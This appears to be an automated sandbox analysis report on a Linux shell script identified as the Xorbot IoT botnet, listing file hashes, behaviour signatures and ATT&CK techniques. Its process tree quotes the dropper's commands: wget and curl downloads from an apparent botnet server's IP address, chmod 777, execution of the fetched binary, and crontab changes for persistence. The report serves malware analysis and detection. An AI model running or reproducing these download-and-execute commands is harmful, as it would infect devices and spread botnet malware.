Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
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submitted
11/12/2024, 13:27
General
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Target
bins.sh
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Size
10KB
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MD5
5487a00d588e2fdee33384c6b9083650
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SHA1
42d5da8e0c679b5ea93e9de5acb601fd23b68d74
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SHA256
2c63a569d43b7721befa5dc6c53dc0d804dcc9302c76c9b789eb1a06d2c111fc
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SHA512
3d9256d28169556b0aad9cd820dc6c931c4d02608aa9749ec56e4ae3e288babc3a1e8553c5982b7998acafb808d0a49f9c296f6ee8e0b2c358c1016730e6866d
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SSDEEP
192:RfUJYggpIpkktsx4uxlenHOqtx547v+zFFw9Zhkkts3xlq3OqHx547vSFFw9ZvAh:RfD4uxlenj/xlqQW
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2161) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.164/bins/xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- File and Directory Permissions Modification
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/tmp/xQELCBMc3oaBzeqxQzdopUkVJt075oOm83./xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm xQELCBMc3oaBzeqxQzdopUkVJt075oOm832⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/vFSgJc63FgaGZNXmpSeAGkVjUM1oHRW11N2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
127KB
MD589077b7bd4bcafca7713be43635c4862
SHA1fc02edb8fba29ea8ee99e6157ef8560334530052
SHA25678416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
SHA5121b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1
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Filesize
210B
MD534263f132ee020d06757dc12328e9081
SHA1cbf8cceddf7f5b4534c9e2b1cbed0422b8396ba5
SHA256a6a89343d8268712dc83b8ca8cf63d7f17b7911043fc4d4e0857f2ba4189ec0c
SHA512fac47fbc2867de2bf5762f4d9c92ccc04bff81e09a8c4cd94c531cc5c5b2e8420cada6f08ed324f6714f9591f55855fb304eec29832540327145aef1319a6ad7